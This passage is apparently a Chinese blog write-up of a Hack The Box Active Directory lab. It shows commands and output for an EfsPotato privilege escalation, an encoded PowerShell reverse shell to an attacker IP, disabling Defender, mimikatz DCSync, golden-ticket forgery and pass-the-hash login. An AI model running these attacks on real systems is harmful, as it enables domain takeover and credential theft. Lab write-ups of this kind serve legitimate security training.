SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

查看当前主机名、域名和ip,位于10.0.0.0/24网段。

JokerShell C:\users> hostname
PRIMARY

JokerShell C:\Windows\system32> Get-ADComputer -Filter *
DistinguishedName : CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb
DNSHostName       : PRIMARY.corp.ghost.htb
Enabled           : True
Name              : PRIMARY
ObjectClass       : computer
ObjectGUID        : 12591b27-1b8c-48a1-b436-4f1e0f6c712e
SamAccountName    : PRIMARY$
SID               : S-1-5-21-2034262909-2733679486-179904498-1000
UserPrincipalName :
JokerShell C:\Windows\system32> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.0.0.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254

经过尝试,EfsPotato可以提权。github上下载源码,在靶机上编译。

JokerShell C:\temp> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe C:\temp\EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
...
JokerShell C:\temp> dir
    Directory: C:\temp
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        12/18/2024   8:57 PM          25441 EfsPotato.cs
-a----        12/18/2024   8:57 PM          17920 EfsPotato.exe

使用EfsPotato运行反弹shell,在另一个监听窗口可以得到提权后的shell。

.\EfsPotato.exe 'powershell -e JABzAHQAcgAgAD0AIAAiAFQAYwBQACIAKwAiAEMAIgArACIAbABpACIAKwAiAGUAIgArACIAbgB0ACIAOwAkAHIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoACQAcwB0AHIAWwAtADEALgAuAC0AKAAkAHMAdAByAC4ATABlAG4AZwB0AGgAKQBdACkAOwAKACQAUABKACAAPQAgAEAAKAAiADUANAAiACwAIAAiADQAMwAiACwAIAAiADUAMAAiACwAIAAiADQAMwAiACwAIAAiADYAQwAiACwAIAAiADYAOQAiACwAIAAiADYANQAiACwAIAAiADYARQAiACwAIAAiADcANAAiACkAOwAKACQAVABDAGgAYQByACAAPQAgACQAUABKACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABbAGMAaABhAHIAXQBbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsACAAMQA2ACkAIAB9ADsACgAkAFAASgBDAGgAYQByACAAPQAgAC0AagBvAGkAbgAgACQAVABDAGgAYQByADsACgA7ACQAQQBHAEkAVwB6AGYARwBoAEoAcgBOACAAPQAgAE4AJwAnAGUAdwAtAE8AJwAnAGIAagAnACcAZQBjACcAJwB0ACAAKAAnAFMAJwArACcAeQAnACsAJwBzACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAC4AJwArACcATgAnACsAJwBlACcAKwAnAHQAJwArACcALgAnACsAJwBTACcAKwAnAG8AYwBrAGUAdABzAC4AVABDAFAAYwBsAGkARQBuAHQAJwApACgAJwAxADAALgAxADAALgAxADYALgA1ACcALAA0ADQANAA0ACkAOwAKACQAVABCAGQARgBHAEEAIAA9ACAAJABBAEcASQBXAHoAZgBHAGgASgByAE4ALgAoACcARwBlAHQAJwArACcAUwB0AHIAZQBhAG0AJwApACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAFAASgBDAGgAYQByACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAKAHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAVABCAGQARgBHAEEALgBSAGUAQQBkACgAJABQAEoAQwBoAGEAcgAsACAAMAAsACAAJABQAEoAQwBoAGEAcgAuAEwAZQBOAGcAVABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAKACQAMAAxAGEAOQAwADYANAAyACAAPQAgACgATgAnACcAZQB3AC0ATwAnACcAYgBqACcAJwBlAGMAJwAnAHQAIAAtAFQAeQBwAEUATgBBAG0AZQAgAFMAeQAnACcAUwB0AGUAJwAnAE0ALgB0AEUAeABUAC4AQQAnACcAUwBDAGkAJwAnAGkARQBOACcAJwBjAG8AZABpAG4AZwApAC4AKAAnAEcAZQAnACsAJwB0AFMAdABSAGkAbgBHACcAKQAoACQAUABKAEMAaABhAHIALAAwACwAIAAkAGkAKQA7AAoAJAAzAGQAYgBmAGUAMgBlAGIAZgBmAGUAMAA3ADIANwAyADcAOQA0ADkAZAA3AGMAZQBjAGMANQAxADUANwAzAGIAIAA9ACAAKABpAGUAeAAgACIALgAgAHsAIAAgACQAMAAxAGEAOQAwADYANAAyACAAIAB9ACAAMgA+ACYAMQAiACAAfAAgAE8AdQAnACcAdAAtAFMAdAByACcAJwBpAG4AZwAgACkAOwAKACQASgA9ACQATwA9ACQASwA9ACQARQA9ACQAUgA9ACQAUAA9ACQAVwA9ACQAUgAgAD0AIAAkAHsAMwBkAGIAZgBlADIAZQBiAGYAZgBlADAANwAyADcAMgA3ADkANAA5AGQANwBjAGUAYwBjADUAMQA1ADcAMwBiAH0AIAArACAAJwAbAFsAOQA0AG0ASgBvAGsAZQByAFMAaABlAGwAbAAbAFsAMwA5AG0AIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7AAoAJABzACAAPQAgACgAIgB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQAiAC0AZgAgACIAcwBlACcAJwBuAGQAIgAsACIAYgB5ACIALAAiAGUAIgAsACIAdAAiACkAOwAgACQAcwAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBpAGkAKQAuAEcAZQB0AEIAWQBUAGUAUwAoACQAUgApADsACgAkAFQAQgBkAEYARwBBAC4AVwByAGkAdABlACgAJABzACwAMAAsACQAcwAuAEwAZQBuAGcAdABoACkAOwAkAFQAQgBkAEYARwBBAC4ARgBsAHUAcwBoACgAKQB9ADsAJABBAEcASQBXAHoAZgBHAGgASgByAE4ALgBDAGwAbwBzAGUAKAApAAoA'

得到system权限的shell。

~/D/g $rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.24 49822
whoami
nt authority\system
JokerShell C:\temp>

关闭实时杀毒,便于后面上传各种工具。

Set-MpPreference -DisableRealtimeMonitoring $True

Golden Ticket

整理一下当前的情况,我们现在拥有了PRIMARY的系统权限(10.0.0.10),而需要得到DC01(10.0.0.254)的权限。有多种方法,比如利用域信任,但我不太熟悉。这里使用黄金票据。

使用mimikatz.exe得到krbtgt的aes256_hmac。(由于终端不是交互终端,无法进入mimikatz的交互界面,所以运行指令后要立刻加exit,避免死屏)

okerShell C:\temp> .\mimikatz.exe 'lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' exit
...
[DC] 'corp.ghost.htb' will be the domain
[DC] 'PRIMARY.corp.ghost.htb' will be the DC server
[DC] 'CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' will be the user account
...
Credentials:
  Hash NTLM: 69<...>3ab
    ntlm- 0: 69eb4<...>3ab
    lm  - 0: fcef<...>6895de975f6cb
...
* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.GHOST.HTBkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b0eb7<...>5e8d
      aes128_hmac       (4096) : ea1<...>9235
      des_cbc_md5       (4096) : b3e070025110ce1f
    ...

查看当前domain的sid。

JokerShell C:\temp> Get-ADDomain | Select-Object Name, DomainSID

Name DomainSID
---- ---------
corp S-1-5-21-2034262909-2733679486-179904498

查看Ghost.htb的DOMAIN SID以及Enterprise Admins的SID。

~/D/g $impacket-lookupsid  ghost.htb/justin.bradley:'Qwertyuiop1234$$'@10.10.11.24 -domain-sids
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.10.11.24
[*] StringBinding ncacn_np:10.10.11.24[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4084500788-938703357-3654145966
...
519: GHOST\Enterprise Admins (SidTypeGroup)
...

这里也可以选择Domain Admins组等其它高权限组,只要有DSCync权限就可以。

此时,使用ligolo建立隧道,让我们可以在kali上访问10.0.0.0网段。本机运行的好处是可以使用impacket脚本,而在靶机的shell上用Rubeus和mimikatz,总是不顺畅。
本机运行如下指令。

/opt/ligolo/proxy --selfcert
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.0.0.0/24 dev ligolo

靶机运行。连接后在服务端启用session。

.\agent.exe -connect 10.10.16.5:11601 -ignore-cert

别忘了把corp.ghost.htb 10.0.0.10加入/etc/hosts。
最后,利用刚才得到的数据,对DC01进行DCSync攻击。由于时间同步问题,以下4句指令需要在一起快速运行,失败的话就多执行几遍。

sudo ntpdate -u ghost.htb
impacket-ticketer -aesKey  b0eb<...>e8d -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -domain corp.ghost.htb  Administrator
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass dc01.ghost.htb -just-dc

最后成功的得到administrator的NTLM hash。

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[admin hash]:::
...
~/D/g $evil-winrm -i  $IP -u administrator -H [admin hash]

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
ghost\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC01

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注